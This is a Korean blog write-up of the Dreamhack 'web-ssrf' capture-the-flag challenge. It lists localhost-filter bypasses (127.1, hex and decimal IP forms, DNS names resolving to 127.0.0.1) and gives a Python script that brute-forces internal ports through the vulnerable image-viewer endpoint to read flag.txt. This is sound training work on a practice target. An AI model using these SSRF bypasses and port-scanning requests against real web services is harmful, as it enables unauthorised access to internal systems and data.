상세 컨텐츠

본문 제목

[Dreamhack] web-ssrf (WEB)

WEB HACKING/Dreamhack

by koharin 2025. 4. 17. 16:56

본문

728x90
반응형

flask로 작성된 서비스로, SSRF 취약점을 이용하여 플래그를 획득하는 문제이다.

/img_viewer

해당 API는 url 파라미터에 입력할 수 있다.

localhost:8000인 내부 서버 상에서 가져오는데, /로 시작하는지만 확인하므로 요청 상에서 flag.txt를 지정해도 되지 않나..? 했지만 로컬 서버는 다른 서버라 안된다.

외부 서버가 요청에 대한 처리를 내부 서버에서 처리하므로, SSRF에 해당한다.

이미지를 상대 경로가 아닌 절대 경로로 가져온다.  

127.0.0.1에서 로컬 서버를 돌린다. localhost가 아니라 127.0.0.1에 접근해야 한다.

 

127.0.0.1 필터링 우회

1. 도메인 이름 중 127.0.0.1 IP 주소에 매핑되는걸 사용 -> https://gist.github.com/tinogomes/c425aa2a56d289f16a1f4fcb8a65ea65

 

Public DNS Pointing to localhost (127.0.0.1)

Public DNS Pointing to localhost (127.0.0.1). GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

이건 찾기 힘들 듯 하다...

2. 127.0.0.1~127.0.0.255는 모두 로컬 호스트를 가리키므로 127.0.0.1 대신 다른 IP를 사용한다.

3. 127.0.0.1의 alias를 사용한다.

4. 127.1

5. 0x7f.0x00.0x00.0x01, 0x7f000001(16진수)

6. 2130706433 (10진수)

7. Localhost

 

문제는 port가

local_port = random.randint(1500, 1800)

으로 1500 이상 1800 이하의 랜덤하게 설정된다.

따라서 포트를 brute force attack으로 바꿔가면서 찾는다.

Not found 이미지는 iVBORw0KG로 시작하므로, 해당 문자열이 있으면 Not found이므로 넘어가고, 없는 경우에는 유효한 URL로 요청을 보낸 것이므로 결과를 출력한다.

import requests
import sys
from tqdm import tqdm

chall_url="http://host3.dreamhack.games:12365/img_viewer"
NOTFOUND="iVBORw0KG"

for port in tqdm(range(1500, 1801)):
    img_url=f"http://127.1:{port}/app/flag.txt"
    data = {
            "url": img_url
    }
    res = requests.post(chall_url, data=data)
    if NOTFOUND not in res.text:
        print(f"port is: {port}")
        print(res.text)

포트가 1541인 것은 구했고, Image Viewer의 url에 http://127.1:1541/flag.txt로 주면 Response에 base64로 인코딩된 플래그가 img에 담긴다.

burp suite로 해당 값을 드래그하면 base64로 디코드해줘서 플래그 값을 구할 수 있다.

728x90
반응형

'WEB HACKING > Dreamhack' 카테고리의 다른 글

[Dreamhack] BypassIF (WEB)  (0) 2025.05.12
[Dreamhack] Hangul - Revenge (WEB)  (0) 2025.04.29
[Dreamhack] csrf-2 (WEB)  (0) 2025.04.17
Dreamhack CTF Season 7 Round #7 (🚩Div1) Pybrid write up  (0) 2025.04.07
[Dreamhack] baby-ai  (0) 2025.04.01

관련글 더보기